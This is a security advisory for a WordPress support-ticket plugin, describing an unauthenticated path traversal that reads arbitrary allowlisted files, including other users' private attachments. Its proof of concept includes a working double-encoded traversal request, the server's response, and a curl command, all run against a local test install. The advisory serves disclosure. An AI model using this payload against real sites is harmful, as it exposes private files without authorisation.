Support Genix Lite < 1.4.48 – Unauthenticated Arbitrary File Read via Path Traversal | CVE 2026-15932

Description

The plugin does not prevent directory traversal in its ticket-attachment download route, allowing unauthenticated attackers to read arbitrary files with an allowlisted extension — including other users' private ticket attachments — from the server.

Proof of Concept

### PoC*
Validation environment: local Docker WordPress 7.0.1 / PHP 8.3.32 / MariaDB 11.4, Support Genix Lite 1.4.47 mounted read-only from the WordPress.org ZIP (archive SHA-256 `fdb97aaf73a4f68961c8485d5cb72faabe058e4daa43eda2abbb9579916dec9f`). Ticket 2 was created through the normal customer portal with a TXT attachment (establishing `wp-content/uploads/support-genix/2/attached_files/`). A benign marker `SG_ROOT_CONTROL_20260710` was placed at the web root for proof, then removed.

Single unauthenticated request (no Cookie / Authorization / X-WP-Nonce), REST `rest_route` query form (`T` = ticket type, `2` = a ticket ID whose attachment directory exists; the `%252F` double-encoded separators become `../` after the handler's second decode):

```http
GET /?rest_route=%2Fapbd-wps%2Fv1%2Fticket%2Ffile-dl%2FT%2F2%2F..%252F..%252F..%252F..%252F..%252Fsg-root-control.txt HTTP/1.1
Host: localhost:18830
Accept: */*
```

Observed response:

```http
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=..%2F..%2F..%2F..%2F..%2Fsg-root-control.txt
Content-Type: text/plain;charset=UTF-8
Content-Length: 24

SG_ROOT_CONTROL_20260710
```

Body SHA-256 `0ba7bd329e4c4b0f413d4b1d7bedfc197a272aebd54968517d6da2b220056d66`. curl form:

```bash
BASE="http://localhost:18830"
curl -sS -D - \
  "${BASE}/?rest_route=%2Fapbd-wps%2Fv1%2Fticket%2Ffile-dl%2FT%2F2%2F..%252F..%252F..%252F..%252F..%252Fsg-root-control.txt"
```

Negative controls (prove the mechanism and the impact ceiling, not noise):
- Same request targeting `sg-root-control.php` (a `.php` at the web root) → empty body (extension not in allowlist; PHP/`wp-config.php` not readable).
- Same traversal with a `ticket_or_reply_id` whose `attached_files/` directory does not exist → empty body (the `../` cannot resolve).
- A legitimate attachment download succeeds → handler is live, not inert.